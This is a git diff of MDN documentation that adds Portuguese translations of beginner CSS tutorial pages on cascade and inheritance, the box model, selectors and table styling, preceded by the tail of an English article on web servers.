For all these reasons, finding a good hosting provider is a key part of building your website. Dig through the various services companies offer and choose one that fits your needs and your budget (services range from free to thousands of dollars per month). You can find more details in this article.

+ +

Once you set up a web hosting solution, you just have to upload your files to your web server.

+ +

Communicating through HTTP

+ +

Second, a web server provides support for {{Glossary("HTTP")}} (Hypertext Transfer Protocol). As its name implies, HTTP specifies how to transfer hypertext (i.e., linked web documents) between two computers.

+ +

A protocol is a set of rules for communication between two computers. HTTP is a textual, stateless protocol.

+ +
+
Textual
+
All commands are plain-text and human-readable.
+
Stateless
+
Neither the server nor the client remember previous communications. For example, relying on HTTP alone, a server cannot remember a password you typed or what step you're on in a transaction. You need an application server for tasks like that. (We'll cover that sort of technology in further articles.)
+
+ +

HTTP provides clear rules for how a client and server communicate. We'll cover HTTP itself in a technical article later on. For now, just be aware of these things:

+ + + +

The MDN 404 page as an example of such error pageOn a web server, the HTTP server is responsible for processing and answering incoming requests.

+ +
    +
  1. On receiving a request, an HTTP server first checks whether the requested URL matches an existing file.
  2. +
  3. If so, the web server sends the file content back to the browser. If not, an application server builds the necessary file.
  4. +
  5. If neither process is possible, the web server returns an error message to the browser, most commonly "404 Not Found". (That error is so common that many web designers spend quite some time designing 404 error pages.)
  6. +
+ +

Static vs. dynamic content

+ +

Roughly speaking, a server can serve either static or dynamic content. "Static" means "served as-is". Static websites are the easiest to set up, so we suggest you make your first site a static site.

+ +

"Dynamic" means that the server processes the content or even generates it on the fly from a database. This solution provides more flexibility, but the technical stack becomes more difficult to handle, making it dramatically more complex to build the website.

+ +

Take for example the page you're reading right now. On the web server hosting it, there is an application server that takes article content from a database, formats it, puts it inside some HTML templates, and sends you the results. In this case, the application server is called Kuma and is built with Python (using the Django framework). The Mozilla team built Kuma for the specific needs of MDN, but there are many similar applications built on many other technologies.

+ +

There are so many application servers that it's pretty hard to suggest a particular one. Some application servers cater to specific website categories like blogs, wikis or e-shops; others, called {{Glossary("CMS", "CMSs")}} (content management systems), are more generic. If you're building a dynamic website, take the time to choose a tool that fits your needs. Unless you want to learn some web server programming (which is an exciting area in itself!), you don't need to create your own application server. That's just reinventing the wheel.

+ +

Passos seguintes

+ +

Now that you are familiar with web servers, you could:

+ + + +
+ + + + + +
diff --git a/files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html new file mode 100644 index 0000000000..b73abb297f --- /dev/null +++ b/files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -0,0 +1,135 @@ +--- +title: Cascata e herança +slug: Web/CSS/Como_começar/Cascata_e_herança +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance +translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance +--- +

{{ PreviousNext("CSS:Como começar:Como o CSS trabalha", "CSS:Como começar:Seletores") }}

+ +

Esta página esboça como folhas de estilo interagem numa cascata, e como os elementos subordinados herdam o estilo do elementos primários.

+ +

Você alterará à sua folha de estilo de amostra, usando herança para mudar o estilo de muitas partes do seu documento em um passo.

+ +

Informação: Cascata e herança

+ +

O estilo final para um elemento pode ser especificado em muitos lugares diferentes, que pode interagir num meio complexo. Esta interação complexa faz CSS poderoso, mas às vezes isto pode deixar confuso e difícil de depurar.

+ +

Três códigos principais de informação de estilo formam uma cascata. Eles são:

+ + + +

O estilo do usuário modifica o estilo padrão do navegador. O estilo do autor do documento então modifica algum outro estilo. Neste tutorial, você é o autor do seu documeto de amostra, e você trabalha somente com folhas de estilo do autor.

+ + + + + + + + +
Exemplo
Quando você lê este documento no seu navegador Mozilla, parte do estilo que você vê, vem do padrão do seu navegador para HTML. +

Parte do estilo deve vir das configurações do seu navegador em Opções, ou de um arquivo userConten.css no seu perfil no navegador.

+ +

Parte do seu estilo vem de folhas de estilo ligadas ao documento pelo server do wiki.

+
+ +


+ Quando você abre seu documento de amostra no seu navegador, os elementos STRONG são mais fortes do que o resto do texto. Isto vem do estilo padrão do seu navegador para o HTML.

+ +

Os elementos STRONG são vermelhos, Isto vem da sua folha de estilo de amostra.

+ +

Os elementos STRONG as vezes também herdam muito do estilo de elemento P, pois eles são subordinados. No mesmo caminho, o elemento P herda muito do estilo do elemento BODY.

+ +

Para estilos em cascata, o autor das folhas de estilo tem prioridade, depois o leitor das folhas de estilo, e por último o padrão do navegador.

+ +

Para estilos em herança, um nó subordinado tem prioridade sobre o estilo que herdou do nó principal.

+ +

Estas não são as únicas propriedades que se aplicam. Uma página posterior neste turorial explicará mais.

+ + + + + + + + +
Mais detalhes
CSS às vezes providencia um meio para o leitor anular o estilo do autor do documento, usando a palavra-chave !important. +

Este meio é para o autor do documento, você não pode sempre predizer exatamente o que os leitores verão.

+ +

Se você quer saber todos os detalhes sobre cascata e herança, veja Assigning property values, Cascading, and Inheritance na CSS Specification.

+
+ +

Ação: Usando herança

+ +

Edite seu arquivo de amostra CSS.

+ +

Adicione esta linha copiando e colando isto. Não importa realmente se você adicionar a linha antes ou depois da que já está lá. Entretando, adicionar isto no topo é mais lógico pois no seu documento o elemento P é primário ao elemento STRONG:

+ +
p {color: blue; text-decoration: underline;}
+
+ +

Agora atualize seu navegador para ver o efeito no seu documento de amostra. O sublinhado afeta todo o texto no parágrafo, incluindo as letras iniciais. Os elementos STRONG herdaram o estilo sublinhado do elemento primário P.

+ +

Mas os elementos STRONG ainda são vermelhos. A cor vermelha é própria do estilo, então isto tem prioridade sobre a cor azul do seu elemento primário P.

+ + + + + + + + +
+ + + + + + + +
Antes
Cascading Style Sheets
+
+ + + + + + + +
Depois
Cascading Style Sheets
+
+ +

 

+ + + + + + + + +
Desafio
Mude sua folha de estilo deixando somente as letras vermelhas sublinhadas: + + + + + + +
Cascading Style Sheets
+
+ +

 

+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Sua folha de estilo de amostra especifica o estilo para os tags, P e STRONG, mudando o estilo dos elementos correspondentes em todo o seu documento original. A próxima página descreve como espeficar estilos em meios mais seletivos: Seletores

+ +

{{ PreviousNext("CSS:Como começar:Como o CSS trabalha", "CSS:Como começar:Seletores") }}

diff --git a/files/pt-pt/learn/css/building_blocks/index.html b/files/pt-pt/learn/css/building_blocks/index.html new file mode 100644 index 0000000000..dff3dfb0ac --- /dev/null +++ b/files/pt-pt/learn/css/building_blocks/index.html @@ -0,0 +1,359 @@ +--- +title: Caixas +slug: Web/CSS/Como_começar/Caixas +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/Building_blocks +translation_of_original: Web/Guide/CSS/Getting_started/Boxes +--- +

{{ PreviousNext("CSS:Como começar:Listas", "CSS:Como começar:Disposição") }}

+ +

Esta página descreve como você pode usar as CSS para controlar o espaço que um elemento ocupa quando é exibido.

+ +

Em seu documento de amostra, você muda o espaçamento e adiciona regras decorativas.

+ +

Informação: Caixas

+ +

Quando seu navegador exibe um elemento, o elemento ocupa um espaço. Existem quatro partes do espaço que ele ocupa.

+ +

No meio, está o espaço que o elemento precisa para exibir seu conteúdo. Em torno disso, está o enchimento. Em torno disso, está a borda. Em torno disso, está a margem.

+ + + + + + + + +
+
+

margin

+ +

border

+ +
+

padding

+ +
+

element

+
+
+
+ +

A paleta cinza mostra partes da disposição.

+
+
+

 

+ +

 

+ +
+

 

+ +
+

element

+
+
+
+ +

Isto é o que você vê em seu navegador.

+
+ +

O enchimento, a borda e a margem podem ter diferentes tamanhos no topo, na direita, em baixo e na esquerda do elemento. Qualquer ou todos estes tamanhos podem ser zero.

+ +

O enchimento é sempre da mesma cor do fundo do elemento. Então quando você configura a cor de fundo, você vê a cor aplicada ao próprio elemento e ao seu enchimento. A margem é sempre transparente.

+ + + + + + + + +
+
+

margin

+ +

border

+ +
+

padding

+ +
+

element

+
+
+
+ +

O elemento tem um fundo verde.

+
+
+

 

+ +

 

+ +
+

 

+ +
+

element

+
+
+
+ +

É isto que você vê no seu navegador.

+
+ +

Bordas

+ +

Você pode usar bordas para decorar elementos com linhas ou caixas.

+ +

Para especificar a mesma borda em torno de todo o elemento, use a propriedade border. Especifique a largura (usualmente em pixels para exibir na tela), o estilo, e a cor.

+ +

Os estilos são:

+ + + + + + + + + + + + + + + + +
+
solid
+
+
dotted
+
+
dashed
+
+
double
+
+
inset
+
+
outset
+
+
ridge
+
+
groove
+
+ +

Você pode também configurar o estilo para none ou hidden para remover a borda explicitamente, ou configurar a cor para transparent para fazer a borda invisível sem mudar a disposição.

+ +

Para especificar bordas em um lado de cada vez, use as propriedades: border-top, border-right, border-bottom, border-left. Você pode usar isto para especificar uma borda em somente um lado, ou diferentes bordas em diferentes lados.

+ + + + + + + + +
Exemplos
Esta regra configura a cor de fundo e a borda do topo dos elementos do cabeçalho: +
+
+h3 {
+  border-top: 4px solid #7c7; /* mid green */
+  background-color: #efe;     /* pale green */
+  color: #050;                /* dark green */
+  }
+
+
+ +

O resultado deve ser como este:

+ + + + + + + +
+

Cabeçalho elegante

+
+ +


+ Esta regra faz as imagens fáceis de ver dando-as uma borda com um cinza-médio em toda a volta:

+ +
+
+img {border: 2px solid #ccc;}
+
+
+ +

O resultado deve ser como este:

+ + + + + + + + +
Imagem:Image:Blue-rule.png
+
+ +

Margens e enchimento

+ +

Use margens e enchimento para ajustar a posição dos elementos e para criar espaços ao redor deles.

+ +

Use a propriedade margin ou a propriedade padding para configurar a largura da margem ou do enchimento respectivamente.

+ +

Se você especificar uma largura, isto se aplicará em torno de todo o elemento (topo, direita, baixo e esquerda).

+ +

Se você especificar duas larguras, a primeira se aplicará ao topo e à baixo, e a segunda à direita e à esquerda.

+ +

Você pode especificar todas as quatro larguras na ordem: topo, direita, baixo, esquerda.

+ + + + + + + + +
Exemplo
Esta regra diferencia parágrafos com a classe remark dando-os uma borda vermelha em toda a sua volta. +

O Enchimento em toda a volta separa um pouco a borda do texto.

+ +

Uma margem esquerda identifica o parágrafo relativo ao resto do texto:

+ +
+
+p.remark {
+  border: 2px solid red;
+  padding: 4px;
+  margin-left: 24px;
+  }
+
+
+ +

O resultado deve ser como este:

+ + + + + + + +
+

Aqui está um parágrafo normal.

+ +

Aqui está um com observação.

+
+
+ + + + + + + + +
Mais detalhes
Quando você usa margens e enchimento para ajustar o modo como os elementos são exibidos, suas regras de estilo interagem com o padrão dos navegadores de maneiras que podem ser complexas. +

Navegadores diferentes exibem os elementos diferentemente. Os resultados podem ser similares antes de sua folha de estilo mudar coisas. Algumas vezes isto pode fazer sua folha de estilo dar resultados surpreendedores.

+ +

Para ter o resultado que você precisa, você pode ter que mudar a marcação do seu documento. A próxima página deste tutorial tem mais informações sobre isto.

+ +

Para informações detalhas sobre enchimento, margens e bordas, veja Box model em CSS Specification.

+
+ +

Ação: Adicionando bordas

+ +

Edite seu arquivo CSS. Adicione esta regra para desenhar uma linha até o fim da página sobre cada cabeçalho:

+ +
+
h3 {border-top: 1px solid gray;}
+
+
+ +

Se você pegou o desafio na página anterior, modifique a regra que você criou, se não, adicione esta nova regra para adicionar um espaço em baixo de cada item da lista:

+ +
+
li {
+  list-style: lower-roman;
+  margin-bottom: 8px;
+  }
+
+
+ +

Atualize seu navegador para ver o resultado:

+ + + + + + + +
+

(A) Os oceanos

+ +
    +
  • Ártico
  • +
  • Atlântico
  • +
  • Pacífico
  • +
  • Índico
  • +
  • Antártico
  • +
+ +

(B) Parágrafos numerados

+ +

1: Lorem ipsum

+ +

2: Dolor sit

+ +

3: Amet consectetuer

+ +

4: Magna aliquam

+ +

5: Autem veleum

+
+ + + + + + + + +
Desafio
Adicione uma regra à sua folha de estilo, fazendo um borda larga em toda a volta dos oceanos em uma cor que te lembre o mar — algo como isto: + + + + + + +
+

(A) Os oceanos

+ +
+
    +
  • Ártico
  • +
  • Atlântico
  • +
  • Pacífico
  • +
  • Índico
  • +
  • Antártico
  • +
+
+ +

(B) Parágrafos numerados

+ +

. . .

+
+ +

(Não é necessário fazer exatamente com a largura e a cor que usadas aqui.)

+
+ +

O que vem depois

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Especificando margens e enchimento, você modificou a disposição do seu documento. Na próxima página você poderá mudar a disposição do seu documento de outras maneiras: Disposição

+ +

{{ PreviousNext("CSS:Como começar:Listas", "CSS:Como começar:Disposição") }}

diff --git a/files/pt-pt/learn/css/building_blocks/selectors/index.html b/files/pt-pt/learn/css/building_blocks/selectors/index.html new file mode 100644 index 0000000000..f9d4505614 --- /dev/null +++ b/files/pt-pt/learn/css/building_blocks/selectors/index.html @@ -0,0 +1,208 @@ +--- +title: Seletores +slug: Web/CSS/Como_começar/Seletores +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/Building_blocks/Selectors +translation_of_original: Web/Guide/CSS/Getting_started/Selectors +--- +

{{ PreviousNext("CSS:Como começar:Cascata e herança", "CSS:Como começar:CSS legível") }}

+ +

Esta página explica como você pode aplicar estilos seletivamente, e como diferentes tipos de seletor têm propriedades diferentes.

+ +

Você adiciona alguns atributos às tags do seu documento de amostra, e usa estes atributos em sua folha de estilo de amostra.

+ +

Informação: Seletores

+ +

CSS tem sua própria terminologia para descrever a linguagem CSS. Anteriormente neste tutorial, você criou uma linha em sua folha de estilo com esta:

+ +
+
strong {color: red;}
+
+
+ +

Na terminologia das CSS, esta linha inteira é uma regra. Esta regra começa com STRONG, que é um seletor. Isto seleciona que elementos no DOM a regra se aplicará.

+ + + + + + + + +
Mais detalhes
A parte interior das chaves é a declaração. +

A palavra-chave color é uma propriedade, e red é um valor.

+ +

O ponto-e-vírgula depois do par propriedade-valor separa isto de outros pares propriedade-valor na mesma descrição.

+ +

Este tutorial refere-se a um seletor STRONG, como um seletor de tag. A Especificação das CSS refere-se a isto como um seletor de tipo.

+
+ +

Esta página do tutorial explica mais sobre os seletores que você pode usar nas regras das CSS.

+ +

Em adição aos nomes de tags, você pode usar valores de atributo nos seletores. Isto permite a você que as regras tornem-se mais específicas.

+ +

Dois atributos tem estado especial para as CSS. Eles são class e id.

+ +

Use o atributo class em uma tag para nomear a tag com um nome de classe. Isto é, o nome que você escolher para a classe.

+ +

Na sua folha de estilo, digite um registro completo (período) antes do nome de classe quando você usá-lo em um seletor.

+ +

Use o atributo id em uma tag para nomear a tag com um nome de id. Isto é, o nome que você escolher para o id. O nome do id deve ser único no documento.

+ +

Na sua folha de estilo, digite um sinal de número (#) antes do id quando você usá-lo em um seletor.

+ + + + + + + + +
Exemplos
Este tag HTML tem ambos os atributos class e id. +
+
+<P class="key" id="principal">
+
+
+ +

O id, principal, deve ser o único no documento, mas outras tags no documento podem ter o mesmo nome de classe, key.

+ +

Em uma folha de estilo CSS, esta regra faz todos os elementos da classe key verdes. (Eles podem não ser todos elementos P.)

+ +
+
+.key {color: green;}
+
+
+ +

Esta regra faz um elemento com o id principal negrito:

+ +
+
+#principal {font-weight: bolder;}
+
+
+
+ +

Se mais de uma regra se aplicar a um elemento e especificar a mesma propriedade, então CSS dará prioridade para a regra que tiver o seletor mais específico. Um seletor id é mais específíco que um seletor classe, que por sua vez é mais específico que um seletor tag.

+ + + + + + + + +
Mais detalhes
Você pode combinar seletores para fazer um seletor mais específico. +

Por exemplo, o seletor .key seleciona todos os elementos que tem o nome de classe key. O seletor p.key seleciona somente os elementos P que tiverem o nome de classe key.

+ +

Você não está restrito aos dois atributos especiais, class e id. Você pode especificar outros atributos igualando entre colchetes. Por exemplo, o seletor {{ mediawiki.external('type=button') }} seleciona todos os elementos que tiverem um atributo type com o valor button.

+ +

Uma página posterior deste tutorial (Tabelas) tem informações sobre seletores complexos baseados em parentescos.

+ +

Para um informação completa sobre seletores, veja Selectors na CSS Specification.

+
+ +

Se sua folha de estilo tiver regras conflitantes e elas estiverem igualmente especificadas, então CSS dará prioridade para a regra que foi especificada por último na folha de estilo.

+ +

Quando você tiver um problema com regras conflitantes, tente resolvê-lo fazendo uma das regras mais especificada, então ela terá prioridade. Se você não puder fazer isto, tente mover uma das regras para mais perto do fim da folha de estilo, então esta terá prioridade.

+ +

Ação: Usando seletores de classe e id

+ +

Edite seu arquivo HTML, e duplique o paragrafo copiando e colando-o. Então adicione os atributos de id e classe na primeira cópia, e um id na segunda cópia como mostrado abaixo. Um alternativa é copiar e colar o arquivo inteiro novamente:

+ +
+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+  <HEAD>
+  <TITLE>Documento de amostra</TITLE>
+  <LINK rel="stylesheet" type="text/css" href="style1.css">
+  </HEAD>
+  <BODY>
+    <P id="first">
+      <STRONG class="carrot">C</STRONG>ascading
+      <STRONG class="spinach">S</STRONG>tyle
+      <STRONG class="spinach">S</STRONG>heets
+    </P>
+    <P id="second">
+      <STRONG>C</STRONG>ascading
+      <STRONG>S</STRONG>tyle
+      <STRONG>S</STRONG>heets
+    </P>
+  </BODY>
+</HTML>
+
+
+ +

Agora edite seu arquivo CSS. Substitua os componentes inteiros com:

+ +
+
strong {color: red;}
+.carrot {color: orange;}
+.spinach {color: green;}
+#first {font-style: italic;}
+
+
+ +


+ Atualize seu navegador para ver o resultado:

+ + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ +


+ Você pode tentar re-dispor as linhas no seu arquivo CSS para mostrar que a ordem não muda o efeito.

+ +

Os seletores de classe .carrot e .spinach tem prioridade sobre o seletor de tag STRONG.

+ +

O seletor id #first tem prioridade sobre a classe o os seletores de tag.

+ + + + + + + + +
Desafios
Sem mudar seu arquivo HTML, adicione uma única regra para seu arquivo CSS deixando todas as letras iniciais da mesma cor que estão agora, mas fazendo todo o segundo parágrafo aparecer em azul: + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ +

Agora mude a regra que você acabou de adicionar (sem mudar mais nenhuma coisa), para fazer o primeiro parágrafo em azul também:

+ + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+
+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Sua folha de estilo de amostra está começando a parecer densa e complicada. A próxima página descreve caminhos para fazer o CSS mais fácil de ler: CSS legível

+ +

{{ PreviousNext("CSS:Como começar:Cascata e herança", "CSS:Como começar:CSS legível") }}

diff --git a/files/pt-pt/learn/css/building_blocks/styling_tables/index.html b/files/pt-pt/learn/css/building_blocks/styling_tables/index.html new file mode 100644 index 0000000000..ff21a00c82 --- /dev/null +++ b/files/pt-pt/learn/css/building_blocks/styling_tables/index.html @@ -0,0 +1,655 @@ +--- +title: Tabelas +slug: Web/CSS/Como_começar/Tabelas +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/Building_blocks/Styling_tables +translation_of_original: Web/Guide/CSS/Getting_started/Tables +--- +

{{ PreviousNext("CSS:Como começar:Disposição", "CSS:Como começar:Mídia") }}

+ +

Esta página descreve seletores mais avançados, e algumas maneiras específicas para estilizar tabelas.

+ +

Você cria um novo documento de amostra contendo uma tabela, e uma folha de estilo para isto.

+ +

Informação: Mais seletores

+ +

CSS possui algumas maneiras para selecionar elementos baseadas nas relações entre eles. Você pode usá-las para fazer seletores que sejam mais específicos.

+ +

Aqui está um sumário de seletores baseados em relações:

+ + + + + + + + + + + + + + + + + + + + + + + + +
SeletorSeleciona
A EQualquer elemento E que seja descendente de um elemento A (isso é: um subitem, ou um subitem de um sub item, etc.)
A > EQualquer elemento E que seja subitem de um elemento A
E:first-childQualque elemento E que seja o primeiro subitem do seu principal
B + EQualquer elemento E que seja o próximo irmão de um elemento B (isso é: o próximo subitem do mesmo principal)
+ +

Você pode combinar isto para expressar relações complexas.

+ +

Você pode também usar o símbolo * (asterisco) para dizer "qualquer elemento".

+ + + + + + + + +
Exemplo
Uma tabela HTML tem um atributo id, mas suas linhas e células não tem identificadores individuais: +
+
+<TABLE id="data-table-1">
+...
+<TR>
+<TD>Prefix</TD>
+<TD>0001</TD>
+<TD>default</TD>
+</TR>
+...
+
+
+ +

Estas regras fazem a primeira célula em cada linha em negrito, e a segunda célula em cada linha monoespaçada. Elas afetam somente uma tabela específica no documento:

+ +
+
    +
  1. data-table-1 td:first-child {font-weight: bolder;}
  2. +
  3. data-table-1 td:first-child + td {font-family: monospace;}
  4. +
+
+ +

O resultado é algo como isto:

+ + + + + + + +
+ + + + + + + + +
Prefix0001default
+
+
+ + + + + + + + +
Mais detalhes
De maneira usual, se você faz um seletor mais específico então você aumenta sua prioridade. +

Usando estas técnicas, você evita precisar especificar atributos class ou id em muitas tags no seu documento. Em vez disso, CSS faz o trabalho.

+ +

Em grandes projetos onde a velocidade é importante, você pode fazer suas folhas de estilo mais eficientes evitando regras complexas que dependem da relação entre elementos.

+ +

Para detalhes completos sobre seletores, veja Selectors em CSS Specification.

+
+ +

Informação: Tabelas

+ +

Uma tabela é um arranjo de informação em uma grade retangular. Algumas tabelas podem ser complexas, e para tabelas complexas diferentes navegadores podem exibir diferentes resultados.

+ +

Quando você desenha seu documento, use e a tabela para expressar as relações entre as peças da informação. Então não importará se os diferentes navegadores apresentarem a informação de maneiras levemente diferentes, pois o significado ainda pode ser compreendido.

+ +

Não use tabelas de maneiras não usuais para produzir disposições visuais particulares. As técnicas na página anterior deste tutorial (Disposição) são melhores para isto.

+ +

Estrutura da tabela

+ +

Em uma tabela, cada peça de informação é exibida em uma célula.

+ +

As células em uma linha horizontal na página compõem uma linha.

+ +

Em algumas tabelas, as linhas podem ser agrupadas. Um grupo especial de linhas no começo da tabela é o cabeçalho. Um grupo especial de linhas no final da tabela é o rodapé. As linhas principais na tabela são o corpo, e elas podem também estar em grupos.

+ +

As células em uma linha vertical na página compõem uma coluna, mas as colunas têm usos limitados nas tabelas das CSS.

+ + + + + + + + +
Exemplo
A tabela de seletores próxima ao topo desta página tem dez células em cinco linhas. +

A primeira linha é o cabeçalho. As outras quatro linhas são o corpo. Não há um rodapé.

+ +

Ela tem duas colunas.

+
+ +

Este tutorial somente cobre tabelas simples, onde os resultados são razoavelmente previsíveis. Em uma tabela simples, toda célula ocupa somente uma linha e coluna. Você pode usar CSS para tabelas complexas onde células expandam (extendam-se sobre) mais do que uma linha ou coluna, mas tabelas como estas estão fora do escopo deste tutorial básico.

+ +

Bordas

+ +

Células não têm margens.

+ +

Células têm bordas e enchimento. Por padrão, as bordas são separadas pelo valor da propriedade border-spacing da tabela. Você pode também remover o espaçamento completamente configurando a propriedade border-collapse da tabela para collapse.

+ + + + + + + + +
Exemplo
Aqui estão três tabelas. +

A tabela da esquerda tem espaçamento de borda 0.5 em. A tabela do centro tem espaçamento da borda zero. A tabela da direita tem bordas unidas:

+ + + + + + + + + +
+ + + + + + + + + + + +
PausCopas
OurosEspadas
+
+ + + + + + + + + + + +
PausCopas
OurosEspadas
+
+ + + + + + + + + + + +
PausCopas
OurosEspadas
+
+
+ +

Subtítulos

+ +

Um subtítulo é uma etiqueta que se aplica à tabela inteira. Por padrão, isto é mostrado no topo da tabela.

+ +

Para mover isto para o fim, configure a propriedade caption-side para bottom. A propriedade é herdada, então alternativamente você pode configurar isto na tabela em outro elemento ascendente.

+ +

Para estilizar o texto do subtítulo, use qualquer das propriedades usuais para texto.

+ + + + + + + + +
Exemplo
Esta tabela tem um subtítulo no fim: +
+
+#demo-table > caption {
+  caption-side: bottom;
+  font-style: italic;
+  text-align: right;
+  }
+
+
+ + + + + + + +
+ + + + + + + +
Naipes
+ + + + + + + + + + + +
PausCopas
OurosEspadas
+
+
+
+ +

Células vazias

+ +

Você pode exibir células vazias (isto é, suas bordas e fundos) especificando empty-cells: show; para o elemento da tabela.

+ +

Você pode escondê-los especificando empty-cells:hide;. Então, se um elemento principal tem um fundo e o chama, isto mostra através da célula vazia.

+ + + + + + + + +
Exemplo
Estas tabelas tem um fundo de verde pálido. Suas células tem um fundo de cinza pálido e bordas de cinza escuro. +

Na esquerda da tabela, a célula vazia é mostrada. Na direita, é escondida:

+ + + + + + + + +
+ + + + + + + + + + + +
 Copas
OurosEspadas
+
+ + + + + + + + + + + +
 Copas
OurosEspadas
+
+
+ + + + + + + + +
Mais detalhes
Para informações detalhasdas sobre tabelas, veja Tables em CSS Specification. +

A informação lá vai além do que há neste tutorial, mas não cobre as diferenças entre os navegadores que podem afetar tabelas complexas.

+
+ +

Ação: Estilizando uma tabela

+ +

Faça um novo documento HTML, doc3.html. Copie e cole o conteúdo daqui, tendo certeza que você rolou a tela para pegar tudo isto:

+ +
+
<DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+<HEAD>
+<TITLE>Documento de amostra 3</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style3.css">
+</HEAD>
+<BODY>
+
+<TABLE id="demo-table">
+<CAPTION>Oceanos</CAPTION>
+
+<THEAD>
+<TR>
+<TH></TH>
+<TH>Área</TH>
+<TH>Profundidade Média</TH>
+</TR>
+<TR>
+<TH></TH>
+<TH>milhões de km<SUP>2</SUP></TH>
+<TH>m</TH>
+</TR>
+</THEAD>
+
+<TBODY>
+<TR>
+<TH>Ártico</TH>
+<TD>13,000</TD>
+<TD>1,200</TD>
+</TR>
+<TR>
+<TH>Atlântico</TH>
+<TD>87,000</TD>
+<TD>3,900</TD>
+</TR>
+<TR>
+<TH>Pacífico</TH>
+<TD>180,000</TD>
+<TD>4,000</TD>
+</TR>
+<TR>
+<TH>Índico</TH>
+<TD>75,000</TD>
+<TD>3,900</TD>
+</TR>
+<TR>
+<TH>Antártico</TH>
+<TD>20,000</TD>
+<TD>4,500</TD>
+</TR>
+</TBODY>
+
+<TFOOT>
+<TR>
+<TH>Total</TH>
+<TD>361,000</TD>
+<TD></TD>
+</TR>
+<TR>
+<TH>Média</TH>
+<TD>72,000</TD>
+<TD>3,800</TD>
+</TR>
+</TFOOT>
+
+</TABLE>
+
+</BODY>
+</HTML>
+
+
+ +

Crie uma nova folha de estilo, style3.css. Copie e cole o conteúdo daqui, tendo certeza que você rolou a tela para pegar tudo isto:

+ +
+
/*** Estilo para doc3.html (Tabelas) ***/
+
+#demo-table {
+  font: 100% sans-serif;
+  background-color: #efe;
+  border-collapse: collapse;
+  empty-cells: show;
+  border: 1px solid #7a7;
+  }
+
+#demo-table > caption {
+  text-align: left;
+  font-weight: bold;
+  font-size: 200%;
+  border-bottom: .2em solid #4ca;
+  margin-bottom: .5em;
+  }
+
+
+/* basic shared rules */
+#demo-table th,
+#demo-table td {
+  text-align: right;
+  padding-right: .5em;
+  }
+
+#demo-table th {
+  font-weight: bold;
+  padding-left: .5em;
+  }
+
+
+/* header */
+#demo-table > thead > tr:first-child > th {
+  text-align: center;
+  color: blue;
+  }
+
+#demo-table > thead > tr + tr > th {
+  font-style: italic;
+  color: gray;
+  }
+
+/* fix size of superscript */
+#demo-table sup {
+  font-size: 75%;
+  }
+
+/* body */
+#demo-table td {
+  background-color: #cef;
+  padding:.5em .5em .5em 3em;
+  }
+
+#demo-table tbody th:after {
+  content: ":";
+  }
+
+
+/* footer */
+#demo-table tfoot {
+  font-weight: bold;
+  }
+
+#demo-table tfoot th {
+  color: blue;
+  }
+
+#demo-table tfoot th:after {
+  content: ":";
+  }
+
+#demo-table > tfoot td {
+  background-color: #cee;
+  }
+
+#demo-table > tfoot > tr:first-child td {
+  border-top: .2em solid #7a7;
+  }
+
+
+ +

Abra o documento no seu navegador. Deve ser muito similar a este:

+ + + + + + + +
+
+

Oceanos

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 ÁreaProfundidade média
 milhões de km2m
Ártico:13,0001,200
Atlântico:87,0003,900
Pacífico:180,0004,000
Índico:75,0003,900
Antártico:20,0004,500
Total:361,000 
Média:72,0003,800
+
+
+
+ +

Compare estas regras em sua folha de estilo com a tabela exibida, para se assegurar de que entende o efeito de cada regra. Se você achou uma regra com a qual não está seguro sobre, descomente-a e atualize o navegador para ver o que acontece.

+ +

Aqui estão algumas notas sobre esta tabela:

+ + + + + + + + + + +
Desafios
Mude a folha de estilo para fazer a tabela parecer com isto: + + + + + + +
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 ÁreaProfundidade média
 milhões de km2m
Ártico:13,0001,200
Atlântico:87,0003,900
Pacífico:180,0004,000
Índico:75,0003,900
Antártico:20,0004,500
Total:361,000 
Média:72,0003,800
+
+ +

Oceanos

+
+
+
+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor combribua nesta página de Discussão.

+ +

Esta é a última página deste tutorial que foca as propriedades e valores das CSS. Para um sumário completo de propriedades e valores, veja Full property table em CSS Specification.

+ +

A próxima página mostra novamente o propósito e a estrutura das folhas de estilo CSS: Mídia

+ +

{{ PreviousNext("CSS:Como começar:Disposição", "CSS:Como começar:Mídia") }}

diff --git a/files/pt-pt/learn/css/building_blocks/values_and_units/index.html b/files/pt-pt/learn/css/building_blocks/values_and_units/index.html new file mode 100644 index 0000000000..d5c15375d7 --- /dev/null +++ b/files/pt-pt/learn/css/building_blocks/values_and_units/index.html @@ -0,0 +1,341 @@ +--- +title: Cor +slug: Web/CSS/Como_começar/Cor +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors +translation_of_original: Web/Guide/CSS/Getting_started/Color +--- +

{{ PreviousNext("CSS:Como começar:Estilos de texto", "CSS:Como começar:Conteúdo") }}

+ +

Esta página explica mais sobre como você pode especificar cores no CSS.

+ +

Em sua folha de estilo de amostra, você é introduzido nas cores de fundo.

+ +

Informação: Cor

+ +

